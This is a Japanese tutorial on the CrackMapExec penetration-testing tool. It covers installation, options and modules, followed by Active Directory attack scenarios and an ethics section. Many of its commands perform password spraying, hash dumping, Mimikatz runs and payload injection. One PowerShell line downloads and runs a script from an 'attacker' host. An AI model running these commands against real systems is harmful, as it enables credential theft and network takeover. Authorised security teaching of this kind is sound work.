はじめに: CrackMapExec (CME) とは何か?
CrackMapExec(クラックマップエグゼック)、通称 CME は、ネットワークセキュリティの専門家、特にペネトレーションテスターやレッドチームにとって非常に強力なツールです。Pythonで開発されたオープンソースのポストエクスプロイトツールであり、「ネットワークペネトレーションテストのスイスアーミーナイフ」とも称されています。その主な目的は、特に大規模なActive Directory (AD) 環境において、セキュリティ評価プロセスを自動化し、効率化することです。
CMEは、SMB、WinRM、LDAP、SSH、MSSQLなど、さまざまなネットワークプロトコルを介してターゲットシステムと対話し、認証情報の検証、脆弱性の探索、権限昇格、ラテラルムーブメント(水平展開)などを支援します。多くの機能は、OSに組み込まれた機能や標準的なプロトコルを利用するため、検知されにくいという特徴も持っています。これにより、実際の攻撃シナリオに近い形でネットワークの耐性を評価できます。
このツールは、複数のホストに対して同時に操作を実行できるため、大規模ネットワークの評価時間を大幅に短縮できます。パスワードスプレー攻撃、ハッシュの取得(SAM、LSA、NTDS.dit)、共有フォルダの列挙、リモートコマンド実行、Mimikatzなどのモジュールの実行など、多彩な機能を備えています。
ただし、その強力さゆえに、攻撃者によって悪用されるケースも報告されています。したがって、CMEを使用する際は、必ず適切な許可を得た環境でのみ利用し、法規制や倫理規定を遵守することが極めて重要です。🔒
注意:CrackMapExec (byt3bl33d3rによるオリジナルリポジトリ) は現在、活発にはメンテナンスされておらず、NetExec (NXC) というフォークが後継として開発が進められています。機能や使い方は類似していますが、最新の情報や機能を利用したい場合はNetExecの利用も検討してください。
インストール方法 💻
CrackMapExecを利用するためのインストール方法はいくつか提供されています。環境や目的に応じて最適な方法を選択してください。
前提条件
どのインストール方法を選択するにしても、多くの場合、Python 3 および関連する開発ツールが必要になります。Debian/Ubuntu系のシステムでは、以下のコマンドで基本的な依存関係をインストールできます。
sudo apt update
sudo apt install -y libssl-dev libffi-dev python3-dev build-essential
1. Pipx を使用したインストール (推奨)
開発者が最も推奨しているインストール方法です。PipxはPythonパッケージを独立した環境にインストールするため、依存関係の衝突といった問題を大幅に減らすことができます。
# Pipxをインストール (まだインストールされていない場合)
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# Pipxを使用してCrackMapExecをインストール
pipx install crackmapexec
この方法により、CMEとその依存関係がシステムグローバルのPython環境を汚染することなく、クリーンに管理されます。
2. Docker を使用したインストール
Dockerがインストールされていれば、非常に簡単にCME環境を構築できます。依存関係の問題を完全に回避できるため、手軽に試したい場合に便利です。
docker pull byt3bl33d3r/crackmapexec
# コンテナを実行してCMEを使用
docker run -it --rm byt3bl33d3r/crackmapexec [CMEのコマンドと引数]
例えば、特定のホストにSMBで接続するには以下のように実行します。
docker run -it --rm byt3bl33d3r/crackmapexec smb 192.168.1.100
3. バイナリリリースを使用したインストール
開発者はコンパイル済みのバイナリファイルも提供しています。これを利用する場合でも、実行環境には互換性のあるPython 3が必要です。
- 公式リポジトリのReleasesページ (または後継のNetExecのリリースページ) にアクセスします。
- お使いのOSに対応した最新の安定版バイナリをダウンロードします。
- ダウンロードしたファイルに実行権限を付与し、パスの通ったディレクトリに配置するか、直接実行します。
最新の開発版(Bleeding-edge)バイナリは、リポジトリのActionsタブからダウンロードできますが、GitHubへのログインが必要です。
4. ソースコードからインストール (開発者向け)
CMEのコードに変更を加えたい、または開発に参加したい場合は、ソースコードから直接インストールします。CMEは依存関係の管理にPoetryを使用しています。
# Poetryをインストール (pipx経由推奨)
pipx install poetry
# リポジトリをクローン (サブモジュールも含む --recursive が重要)
git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
# 依存関係をインストール
poetry install
# CMEを実行
poetry run crackmapexec
--recursive
フラグを付けずにクローンすると、依存するサブモジュールがダウンロードされず、インストールに失敗します。
Kali Linux のパッケージマネージャ
Kali Linuxには標準でCrackMapExecが含まれている場合がありますが、バージョンが古い可能性があります。
sudo apt install crackmapexec
ただし、最新機能を利用したい場合や依存関係の問題を避けるためには、PipxやDockerでのインストールが推奨されます。
基本的な使い方 🕹️
CrackMapExecの基本的なコマンド構造は以下のようになります。
crackmapexec <protocol> <target(s)> [options]
1. プロトコルの指定
最初に使用するプロトコルを指定します。CMEがサポートする主なプロトコルには以下のようなものがあります。
smb
: Windowsファイル共有や認証で広く使われるプロトコル。最も多機能。winrm
: Windows Remote Management。PowerShellリモート処理に使用。ldap
: Active Directoryのディレクトリサービスへのアクセス。ssh
: Linux/Unix系システムへのセキュアシェル接続。mssql
: Microsoft SQL Server データベース。rdp
: Remote Desktop Protocol。wmi
: Windows Management Instrumentation。- その他 (ftp, vnc など)
例: SMBプロトコルを使用する場合
crackmapexec smb ...
2. ターゲットの指定
次に、操作対象となるターゲットを指定します。複数の形式で指定可能です。
- 単一IPアドレス:
192.168.1.100
- ホスト名:
dc01.corp.local
- IPアドレス範囲:
192.168.1.100-150
- CIDR表記:
192.168.1.0/24
- 複数のIP/範囲/CIDRをスペース区切り:
192.168.1.100 192.168.2.0/24 10.0.0.5-10
- ターゲットリストファイル:
targets.txt
(ファイルパスを指定)
例: 単一IPアドレスをターゲットとする場合
crackmapexec smb 192.168.1.100 ...
例: CIDR表記でサブネット全体をターゲットとする場合
crackmapexec smb 192.168.1.0/24 ...
3. オプションの指定
最後に、実行したいアクションや認証情報などをオプションで指定します。多数のオプションがありますが、基本的なものをいくつか紹介します。
-u <username>
: 認証に使用するユーザー名を指定。複数指定可能。-p <password>
: 認証に使用するパスワードを指定。複数指定可能。-H <hash>
: NTLMハッシュを指定して認証 (Pass-the-Hash)。-d <domain>
: ドメイン名を指定。--local-auth
: ローカルアカウントとして認証を試みる。--pass-pol
: ドメインのパスワードポリシーを取得。--sam
: SAMデータベースのハッシュをダンプ。--lsa
: LSAシークレットをダンプ。--ntds
: NTDS.ditファイルからドメイン全体のハッシュをダンプ (DCに対して実行)。vss
(Volume Shadow Copy) またはdrsuapi
メソッドを使用可能。--shares
: アクセス可能な共有フォルダを列挙。-x <command>
: ターゲット上でリモートコマンドを実行 (例:-x "whoami"
)。-M <module>
: 指定したモジュールを実行。--module-options <OPTIONS>
: モジュールに渡すオプションを指定。--list-modules
: 利用可能なモジュール一覧を表示。--continue-on-success
: 認証成功後も他の認証情報を試し続ける。--verbose
: 詳細な出力を表示。
基本的な実行例
特定のホストに対してSMBプロトコルで接続可能か、OSバージョンなどを確認 (認証なし):
crackmapexec smb 192.168.1.100
ユーザー名とパスワードで認証し、(Pwn3d!) と表示されれば認証成功:
crackmapexec smb 192.168.1.100 -u Administrator -p 'Password123!'
NTLMハッシュで認証 (Pass-the-Hash):
crackmapexec smb 192.168.1.100 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:c3b2c63db960467a8c9d659b3a8a5e4d'
(注意: 上記のハッシュは例です)
特定のユーザーリストとパスワードリストでパスワードスプレー攻撃を実行:
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success
認証に成功したホストで `whoami` コマンドを実行:
crackmapexec smb 192.168.1.100 -u svc_account -p 'Sup3rS3cr3t!' -x "whoami"
これらの基本的な使い方をマスターすることで、CMEの強力な機能を活用する第一歩となります。😊
主要な機能とコマンド例 🚀
CrackMapExecは多岐にわたる機能を備えていますが、ここでは特に頻繁に使用される主要な機能とそのコマンド例を紹介します。
1. 認証情報のテスト (パスワードスプレー / ハッシュスプレー)
少数のパスワードやハッシュを多数のユーザーアカウントに対して試行し、有効な認証情報を見つけ出します。アカウントロックアウトを避けるために慎重に行う必要があります。
# 単一パスワードをユーザーリストに対して試行
crackmapexec smb 10.10.0.0/24 -u usernames.txt -p 'Winter2025!' --continue-on-success
# パスワードリストを単一ユーザーに対して試行 (ブルートフォースに近い)
crackmapexec smb 10.10.0.10 -u Administrator -p common_passwords.txt
# 単一NTLMハッシュをユーザーリストに対して試行
crackmapexec smb 10.10.0.0/24 -u usernames.txt -H 'LMHASH:NTHASH' --continue-on-success
--continue-on-success
オプションは、成功した組み合わせが見つかっても、リスト内の他の組み合わせの試行を継続させます。
2. ハッシュダンプ
システムのメモリやデータベースからパスワードハッシュを抽出します。管理者権限が必要です。
# ローカルSAMデータベースからハッシュをダンプ
crackmapexec smb 10.10.0.15 -u AdminUser -p 'AdminPass!' --sam
# LSAシークレット (サービスアカウントパスワードなど) をダンプ
crackmapexec smb 10.10.0.15 -u AdminUser -p 'AdminPass!' --lsa
# ドメインコントローラー (DC) からNTDS.ditをダンプ (VSSメソッドを使用)
crackmapexec smb DC01.corp.local -u DomainAdmin -p 'DAPass!' --ntds vss
# ドメインコントローラー (DC) からNTDS.ditをダンプ (DRSUAPIメソッドを使用)
crackmapexec smb DC01.corp.local -u DomainAdmin -p 'DAPass!' --ntds drsuapi
NTDSダンプはドメイン全体の認証情報を危険にさらすため、極めて慎重に行う必要があります。また、DC上で高い権限が必要です。
3. 共有フォルダとアクセス権の列挙
アクセス可能なSMB共有フォルダとそのアクセス権限をリストアップします。
# 認証情報を使用してアクセス可能な共有を列挙
crackmapexec smb 10.10.0.0/24 -u User -p 'Password' --shares
# Nullセッションでアクセス可能な共有を列挙 (ユーザー名・パスワードを空で指定)
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
4. リモートコマンド実行
認証に成功したホスト上で任意のコマンドを実行します。SMB (psexec, smbexec, wmiexec, atexec)、WinRM、SSHなどのプロトコルで可能です。
# SMB経由でコマンド実行 (デフォルト: wmiexecメソッド)
crackmapexec smb 10.10.0.20 -u Admin -p 'Pass!' -x 'ipconfig /all'
# WinRM経由でコマンド実行
crackmapexec winrm 10.10.0.21 -u Admin -p 'Pass!' -x 'Get-Process'
# SSH経由でコマンド実行
crackmapexec ssh 10.10.1.50 -u root -p 'toor' -x 'uname -a'
# 実行メソッドを指定 (例: psexec)
crackmapexec smb 10.10.0.20 -u Admin -p 'Pass!' -x 'hostname' --exec-method psexec
5. パスワードポリシーの取得
ドメインのパスワードポリシー(最小パスワード長、複雑性の要件、ロックアウト閾値など)を取得します。パスワード攻撃の戦略を立てる上で役立ちます。
# 多くの場合、認証なし (Nullセッション) でも取得可能
crackmapexec smb DC01.corp.local --pass-pol
# 認証情報が必要な場合
crackmapexec smb DC01.corp.local -u Guest -p '' --pass-pol
6. ログインユーザー/セッションの列挙
ターゲットホストに現在ログインしているユーザーやアクティブなセッションを列挙します。ラテラルムーブメントのターゲット選定に役立ちます。
# ログイン中のユーザーを列挙
crackmapexec smb 10.10.0.0/24 -u User -p 'Password' --loggedon-users
# アクティブなセッションを列挙
crackmapexec smb 10.10.0.0/24 -u User -p 'Password' --sessions
これらの機能はCMEの能力のほんの一部です。オプションやモジュールを組み合わせることで、さらに高度な評価が可能になります。
モジュールシステム: 機能拡張の鍵 🧩
CrackMapExecの大きな特徴の一つが、強力なモジュールシステムです。これにより、コア機能だけではカバーできない特定のタスクや攻撃手法を簡単に追加・実行できます。モジュールは特定のプロトコル (SMB, LDAP, MSSQLなど) に関連付けられており、様々な目的のために開発されています。
モジュールを利用することで、脆弱性のスキャン、特定の情報の抽出、特殊な認証情報のダンプ、特定の設定変更など、より高度で専門的な操作が可能になります。
モジュールの使い方
基本的なモジュールの実行方法は以下の通りです。
crackmapexec <protocol> <target(s)> -u <user> -p <pass/hash> -M <module_name> [ -o MODULE_OPTION=value ... ]
-M <module_name>
: 実行したいモジュールの名前を指定します。-o MODULE_OPTION=value
: モジュールによっては追加のオプションが必要な場合があります。-o
に続けてキー=値
の形式で指定します。
利用可能なモジュールの確認
特定のプロトコルで利用可能なモジュールの一覧を表示するには、--list-modules
オプションを使用します。
# SMBプロトコルで利用可能なモジュール一覧を表示
crackmapexec smb --list-modules
# LDAPプロトコルで利用可能なモジュール一覧を表示
crackmapexec ldap --list-modules
代表的なモジュールの例
以下に、よく利用される代表的なモジュールとその簡単な説明を示します。
プロトコル | モジュール名 | 説明 | 使用例 |
---|---|---|---|
SMB | mimikatz | ターゲット上でMimikatzを実行し、メモリから平文パスワードやハッシュを抽出します。 | cme smb target -u user -p pass -M mimikatz |
SMB | wdigest | WDigest設定を変更し、メモリに平文パスワードがキャッシュされるようにします。(Windows 8.1以降でデフォルト無効) | cme smb target -u user -p pass -M wdigest -o ACTION=enable |
SMB | gpp_password | グループポリシー設定 (Group Policy Preferences) に保存されているパスワード (cpassword) を検索し、復号します。 | cme smb dc_ip -u user -p pass -M gpp_password |
SMB | lsassy | リモートでLSASSプロセスをダンプし、解析して認証情報を抽出します。 (lsassyツールが必要) | cme smb target -u user -p pass -M lsassy |
SMB | met_inject | Metasploitのペイロード (Meterpreterなど) をターゲットのメモリにインジェクトします。 | cme smb target -u user -p pass -M met_inject -o LHOST=ip LPORT=port |
SMB | empire_inject | Empire C2フレームワークのエージェントをターゲットのメモリにインジェクトします。 | cme smb target -u user -p pass -M empire_inject -o LISTENER=name |
SMB | shellcode_inject | 任意のシェルコードをターゲットのメモリにインジェクトします。 | cme smb target -u user -p pass -M shellcode_inject -o PAYLOAD=calc.bin ARCH=x64 |
SMB | ms17-010 | EternalBlue (MS17-010) 脆弱性をスキャンします。(実際の悪用は含まない) | cme smb target -M ms17-010 |
SMB | zerologon | Zerologon (CVE-2020-1472) 脆弱性をスキャンします。(DCに対して) | cme smb dc_ip -M zerologon |
SMB | petitpotam | PetitPotam (NTLMリレー攻撃につながる可能性のある脆弱性) をスキャンします。(DCに対して) | cme smb dc_ip -u user -p pass -M petitpotam -o LISTENER_IP=attacker_ip |
LDAP | get-desc-users | 全てのユーザーアカウントとその説明 (description) フィールドを取得します。説明欄にパスワード情報が含まれている場合があります。 | cme ldap dc_ip -u user -p pass -M get-desc-users |
LDAP | ldap-signing | LDAP署名 (Signing) が必須かどうかを確認します。 | cme ldap dc_ip -M ldap-signing |
LDAP | maq | ドメインの MachineAccountQuota (デフォルトで一般ユーザーがドメインに参加させられるコンピューター数) を取得します。 | cme ldap dc_ip -u user -p pass -M maq |
MSSQL | mssql_enum | MSSQLサーバーの基本的な情報を列挙します (バージョン、インスタンス名など)。 | cme mssql target -u sa -p pass -M mssql_enum |
MSSQL | enable_xp_cmdshell | MSSQLの xp_cmdshell ストアドプロシージャを有効化します。これによりOSコマンドが実行可能になります。 | cme mssql target -u sa -p pass -M enable_xp_cmdshell |
MSSQL | exec_sql | 任意のSQLクエリを実行します。 | cme mssql target -u sa -p pass -M exec_sql -o QUERY="SELECT @@version" |
カスタムモジュール
CMEはカスタムモジュールの作成もサポートしています。特定のニーズに合わせて独自の機能を追加することが可能です。モジュールはPythonで記述され、特定のディレクトリ構造に従って配置する必要があります。詳細は公式ドキュメントや既存のモジュールを参考にしてください。
モジュールシステムを活用することで、CMEは単なるスキャンツールやコマンド実行ツールを超え、非常に柔軟で強力なペネトレーションテストプラットフォームとなります。✨
高度なテクニックと応用例 🧑💻
CrackMapExecの基本的な使い方やモジュールシステムを理解したら、さらに高度なテクニックを駆使して、より複雑なシナリオに対応できるようになります。ここでは、いくつかの応用例と高度なテクニックを紹介します。
1. 取得した認証情報の活用 (cmedb)
CMEは、実行中に発見した有効な認証情報 (パスワード、ハッシュ) を自動的にローカルのデータベース (~/.cme/workspaces/default/cme.db
) に保存します。このデータベース (cmedb) を活用することで、以降の操作でこれらの認証情報を再利用できます。
# データベースに保存されている認証情報を確認
crackmapexec --cmedb
# データベース内の認証情報を使って特定のホストにアクセスを試みる
# (ユーザー名やパスワードを指定せず、CMEが自動で試行)
crackmapexec smb 10.10.0.50
# 特定の認証情報ID (CredID) を指定してコマンド実行
crackmapexec smb 10.10.0.50 -id 5 -x "hostname"
# データベース内の管理者権限を持つ認証情報のみを使ってSAMハッシュをダンプ
crackmapexec smb 10.10.0.0/24 -id $(crackmapexec --cmedb | grep 'Pwn3d!' | grep 'Admin' | cut -d ' ' -f 1) --sam
cmedbを活用することで、手動での認証情報の管理の手間を省き、効率的にラテラルムーブメントを進めることができます。
2. コマンドチェーンとスクリプト実行
-x
オプションやモジュールを組み合わせることで、一連の操作を自動化できます。
# PowerShellコマンドを実行してファイルをダウンロードし実行 (WinRM)
crackmapexec winrm target -u user -p pass -x 'powershell -c "iex(New-Object Net.WebClient).DownloadString(\'http://attacker/payload.ps1\')"'
# SMB経由でファイルをアップロードし、実行する (smbexecメソッドの例)
# 1. ファイルを共有フォルダ (例: C$) にコピー
crackmapexec smb target -u user -p pass --put-file /local/path/evil.exe C$/evil.exe
# 2. コマンドを実行
crackmapexec smb target -u user -p pass -x 'C:\evil.exe' --exec-method smbexec
複数のコマンドを組み合わせる場合は、シェルスクリプトやバッチファイルを作成し、それをアップロードして実行する方が確実な場合もあります。
3. Spidering (ファイル探索)
アクセス可能なSMB共有内を探索し、特定のパターンに一致するファイルやディレクトリを探します。機密情報や設定ファイルを発見するのに役立ちます。
# ADMIN$ 共有を探索し、名前に 'password' または 'secret' を含むファイルを探す
crackmapexec smb target -u user -p pass --spider ADMIN$ --pattern password secret
# C$ 共有を再帰的に探索し、拡張子が .config または .xml のファイルを探す
crackmapexec smb target -u user -p pass --spider C$ --pattern '*.config' '*.xml' --depth 5
# 特定のファイルタイプを除外して探索
crackmapexec smb target -u user -p pass --spider USERS --exclude-dirs 'AppData' --exclude-files '*.dll' '*.exe'
結果はログファイルに保存され、後で分析できます。
4. Kerberos認証の利用
パスワードやハッシュの代わりに、Kerberosチケットを使用して認証を行うことも可能です。これにより、パスワード自体をネットワークに流すことなく認証できます (Pass-the-Ticket)。
# 環境変数 KRB5CCNAME で指定されたチケットキャッシュを使用
export KRB5CCNAME=/path/to/ticket.ccache
crackmapexec smb target -k
# 特定のチケットファイルを指定 (--kerberos オプション)
crackmapexec smb target -k --kerberos /path/to/ticket.ccache
# AS-REP Roastingで取得したハッシュからチケットを生成し、それを使用 (Rubeusなどのツールと連携)
# (チケット生成後)
crackmapexec smb target -k -no-pass
Kerberos認証は、より高度なAD攻撃シナリオで重要になります。
5. 出力管理とログ
CMEは実行結果を画面に出力するだけでなく、ログファイルにも記録します。デフォルトでは ~/.cme/logs
ディレクトリに保存されます。
- ログには、成功した認証、実行されたコマンド、取得された情報などが記録されます。
--log <filename>
オプションでログファイル名を指定できます。- 特定の情報を抽出したい場合は、
grep
やawk
などのコマンドラインツールと組み合わせると便利です。
# ログファイルから成功した認証 (Pwn3d!) の行だけを抽出
grep 'Pwn3d!' ~/.cme/logs/*.log
これらの高度なテクニックを理解し、適切に組み合わせることで、CrackMapExecをより効果的に活用し、複雑なネットワーク環境におけるセキュリティ評価を深く行うことができます。🕵️♀️
実践的なシナリオ例 🎯
CrackMapExecが実際のペネトレーションテストやレッドチーム活動でどのように活用されるか、具体的なシナリオを通じて見ていきましょう。
シナリオ1: 初期アクセス後の内部偵察と権限昇格
フィッシング攻撃などで一般ユーザー (例: `j.doe`) の認証情報を入手した状況を想定します。
-
ネットワークスキャンとアクティブホスト特定:
まず、内部ネットワーク (例: 192.168.10.0/24) のWindowsホストをスキャンし、SMBが有効なホストを特定します。
crackmapexec smb 192.168.10.0/24
-
認証情報の有効性確認とアクセス権調査:
取得した認証情報 (`j.doe` / `Password123`) がどのホストで有効か、また管理者権限 (Pwn3d!の後の `(Admin!)`) があるかを確認します。
(crackmapexec smb 192.168.10.0/24 -u j.doe -p 'Password123' --shares
--shares
オプションで、アクセス可能な共有も同時に確認) -
ローカル管理者権限を持つホストの特定:
もし `j.doe` が一部のホストでローカル管理者であればラッキーですが、そうでなければ、他の脆弱なアカウントを探します。例えば、よくある弱いパスワードを試します。
crackmapexec smb 192.168.10.0/24 -u administrator localadmin svc_backup -p 'Password123' 'admin' 'backup' --local-auth --continue-on-success
-
権限昇格とハッシュダンプ:
運良くローカル管理者権限を持つアカウント (`svc_backup` / `backup`) を発見できた場合、そのホスト (例: 192.168.10.55) からSAMハッシュをダンプします。
ダンプしたハッシュの中に、ドメイン管理者などのより高い権限を持つアカウントのハッシュが含まれている可能性があります (Pass-the-Hash用)。crackmapexec smb 192.168.10.55 -u svc_backup -p 'backup' --local-auth --sam
-
Mimikatzによる認証情報窃取:
または、Mimikatzモジュールを実行してメモリから平文パスワードや他の認証情報を取得できないか試みます。
crackmapexec smb 192.168.10.55 -u svc_backup -p 'backup' --local-auth -M mimikatz
シナリオ2: ドメインコントローラーへの攻撃
内部ネットワークにアクセスでき、ドメインコントローラー (DC) のIPアドレス (例: 192.168.10.10) が判明している状況を想定します。
-
脆弱性スキャン (Zerologon, PetitPotamなど):
まず、既知の重大な脆弱性がないかスキャンします。
# Zerologonスキャン crackmapexec smb 192.168.10.10 -M zerologon # PetitPotamスキャン (認証情報が必要な場合がある) # NTLMリレーのためのリスナーIPを指定 crackmapexec smb 192.168.10.10 -u guest -p '' -M petitpotam -o LISTENER_IP=YOUR_ATTACKER_IP
-
GPPパスワードの探索:
ドメイン管理者がグループポリシー設定にパスワードを残していないか確認します。
crackmapexec smb 192.168.10.10 -u DomainUser -p 'UserPass' -M gpp_password
-
Kerberoasting / AS-REP Roasting:
(CME単体ではなく、他のツールと連携が必要な場合が多い)
サービスアカウントや事前認証が無効なアカウントを探し、それらのハッシュを取得してオフラインでのクラックを試みます。
# ImpacketのGetUserSPNs.pyやRubeusなどを使用 # 取得したハッシュをHashcatでクラック
-
ドメイン管理者権限取得後のNTDSダンプ:
何らかの方法でドメイン管理者 (DA) の認証情報 (パスワード or ハッシュ) を入手できた場合、ドメイン全体のハッシュをNTDS.ditからダンプします。
これにより、ドメイン内のほぼすべてのアカウントの制御権を掌握できます。crackmapexec smb 192.168.10.10 -u DA_User -H 'DA_NTHASH' --ntds vss
これらのシナリオはあくまで例であり、実際の環境や目的に応じてアプローチは異なります。常に状況を分析し、適切なツールとテクニックを選択することが重要です。また、攻撃的な操作を行う際は、必ず許可された範囲内で、倫理的に行動してください。
倫理的な考慮事項と法的側面 ⚖️
CrackMapExecは、ネットワークのセキュリティ評価において非常に強力で効果的なツールですが、その能力の高さゆえに、悪用された場合の潜在的な損害も甚大です。したがって、CMEを使用する際には、技術的な側面だけでなく、倫理的および法的な側面についても十分に理解し、責任ある行動をとることが不可欠です。
1. 許可なきアクセスは厳禁 🚫
最も重要な原則は、あなたが明示的にテストする許可を得ていないシステムやネットワークに対してCrackMapExecを使用してはならないということです。 これは、自社のネットワークであっても、関連会社や顧客のネットワークであっても同様です。
- ペネトレーションテストやセキュリティ評価を実施する前には、必ず書面による明確な許可を取得してください。
- 許可の範囲 (対象システム、テスト期間、許可される行為など) を正確に理解し、それを逸脱しないようにしてください。
- 無許可でのアクセスやテストは、不正アクセス禁止法などの法律に抵触し、重大な法的責任を問われる可能性があります。
2. 影響の考慮と慎重な操作
CMEの操作、特にパスワードスプレー、ハッシュダンプ、コマンド実行、モジュール実行などは、対象システムやネットワークに予期せぬ影響を与える可能性があります。
- サービス停止のリスク: 過度なスキャンや攻撃的なモジュールの使用は、サービスの応答遅延や停止を引き起こす可能性があります。特に本番環境でのテストには最大限の注意が必要です。
- アカウントロックアウト: パスワードスプレー攻撃は、アカウントロックアウトポリシーに抵触し、正当なユーザーがアクセスできなくなる可能性があります。ポリシーを事前に確認し、試行回数を慎重に調整してください。
- データ破壊・改ざんのリスク: リモートコマンド実行や特定のモジュールは、設定変更やデータ操作を伴う場合があります。意図しない破壊や改ざんを防ぐため、実行するコマンドやモジュールの内容を十分に理解し、テスト環境で事前に検証することが望ましいです。
3. 情報の取り扱い
CMEを使用して取得した認証情報 (パスワード、ハッシュ)、システム構成、脆弱性情報などは、機密情報として厳重に管理する必要があります。
- 取得した情報は、評価目的以外で使用しないでください。
- 情報の保管には適切な暗号化やアクセス制御を施し、漏洩を防いでください。
- 評価完了後は、契約やポリシーに従い、取得した情報を安全に破棄してください。
4. 目的の明確化
CMEを使用する目的は、あくまでもセキュリティ体制の向上に貢献することであるべきです。好奇心や悪意に基づいた使用は決して許されません。
- テストの目的を明確にし、その達成に必要な範囲でツールを使用してください。
- 発見された脆弱性やリスクについては、建設的な改善提案とともに、責任ある方法で報告してください。
CrackMapExecは強力なツールですが、それは「諸刃の剣」です。その力を正しく、倫理的に、そして法を遵守して使用することが、セキュリティ専門家としての信頼性と責任を示す上で不可欠です。常に慎重さと高い倫理観を持ってツールを取り扱いましょう。🙏
まとめ ✨
CrackMapExec (CME) は、Active Directory環境を中心としたネットワークセキュリティ評価において、非常に強力かつ多機能なツールです。その主な特徴と利点をまとめると以下のようになります。
- 多用途性: SMB, WinRM, LDAP, SSH, MSSQLなど、複数のプロトコルに対応し、偵察、認証テスト、ハッシュダンプ、コマンド実行、ファイル操作など、幅広いタスクを実行できます。まさに「スイスアーミーナイフ」です。
- 効率性: 複数のターゲットに対して同時に操作を実行できるため、大規模ネットワークの評価時間を大幅に短縮できます。
- 自動化: パスワードスプレーやモジュール実行など、多くの反復的なタスクを自動化し、評価プロセスを効率化します。
- モジュールシステム: 豊富な組み込みモジュールやカスタムモジュールにより、機能を拡張し、特定の脆弱性スキャンや攻撃シナリオに対応できます。
- ステルス性: OS標準の機能やプロトコルを利用することが多く、一部のセキュリティ監視システムによる検知を回避しやすい場合があります。
- 認証情報の管理: 発見した認証情報をデータベース (cmedb) に保存し、後の操作で簡単に再利用できます。
CMEを効果的に活用することで、ペネトレーションテスターやレッドチームは、ネットワーク内の弱点を迅速に発見し、潜在的な攻撃経路を特定し、組織のセキュリティ体制の強化に貢献することができます。
しかし、その強力さ故に、倫理的かつ法的な枠組みの中での使用が強く求められます。必ず適切な許可を得て、対象システムへの影響を最小限に抑えながら、責任を持って使用してください。
また、オリジナルのCrackMapExecは更新が停滞しているため、活発に開発が続けられている後継のNetExec (NXC) の利用も検討する価値があります。
このツールをマスターすることは、現代の複雑なネットワーク環境におけるセキュリティ評価スキルを向上させる上で、大きな助けとなるでしょう。ぜひ、安全な環境で様々な機能を試し、その可能性を探ってみてください。🚀
コメント